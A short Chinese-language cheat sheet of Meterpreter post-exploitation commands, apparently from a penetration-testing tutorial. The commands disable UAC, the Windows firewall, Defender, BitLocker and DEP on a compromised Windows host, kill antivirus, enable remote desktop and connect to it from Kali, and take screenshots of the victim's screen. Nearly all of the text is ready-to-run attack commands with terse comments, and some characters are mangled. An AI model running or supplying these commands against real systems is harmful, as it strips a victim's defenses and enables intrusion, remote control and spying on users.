關(guān)閉UAC

meterpreter > shell

C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

C:\Windows\system32>shutdown /r /t 0? 有時可能需要重啟才能生效

C:\Windows\system32>netsh advfirewall set allprofiles state off ?關(guān)閉防火墻

C:\Windows\system32>net stop windefend? 關(guān)閉Windows Defender服務(wù)

C:\Windows\system32>manage-bde -status C:? 查看C盤Bitlocker狀態(tài)

C:\Windows\system32>manage-bde -off C: ?關(guān)閉Bitlocker磁盤加密

C:\Windows\system32>bcdedit.exe /set {current} nx AlwaysOff ?關(guān)閉DEP

meterpreter > run post/windows/manage/killav ?關(guān)閉殺毒軟件

遠(yuǎn)程桌面

meterpreter > run post/windows/manage/enable_rdp ?開啟遠(yuǎn)程桌面

root@kali:~# rdesktop 192.168.80.33 ?在Kali上連接目標(biāo)主機(jī)

meterpreter > run multi_console_command -r /root/.msf4/loot/20170407110920_default_192.168.80.33_host.windows.cle_874214.txt ?關(guān)閉遠(yuǎn)程桌面

meterpreter > screenshot ?截圖目標(biāo)主機(jī)

meterpreter > load espia

meterpreter > screengrab ?截圖目標(biāo)主機(jī)